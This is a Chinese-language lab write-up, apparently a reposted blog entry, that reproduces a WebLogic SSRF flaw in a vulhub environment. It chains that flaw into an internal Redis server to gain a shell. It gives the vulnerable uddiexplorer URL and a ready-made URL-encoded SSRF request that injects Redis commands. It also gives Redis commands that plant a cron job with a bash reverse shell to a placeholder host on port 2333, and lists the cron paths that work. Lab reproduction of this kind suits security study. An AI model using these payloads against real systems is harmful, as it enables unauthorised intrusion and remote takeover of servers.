Weblogic SSRF漏洞 && SSRF+Redis 获得shell

环境

vulhub
Weblogic SSRF漏洞

复现

SSRF漏洞存在于Weblogic服务的
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
访问内网中存在和不存在的端口会导致回显不同,利用其差异就可进行内网探测

节省时间,就自己到docker里去查看了一下ip

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器

先测试一下,写几条redis命令,url编码后通过SSRF操作内网的redis

这几条命令的意思就是向根目录写入test文件,内容为hello
(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)
http://192.168.5.11:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/%0d%0a%0d%0aset%201%20%22hello%22%0D%0Aconfig%20set%20dir%20%2F%0D%0Aconfig%20set%20dbfilename%20test%0D%0Asave%0d%0axxx

类似的,写入crontab定时任务就可反弹shell

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save


可利用的cron有如下

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

参考:
Weblogic SSRF漏洞
《Web安全攻防 渗透测试实战指南》

猜你喜欢

转载自www.cnblogs.com/leixiao-/p/10266912.html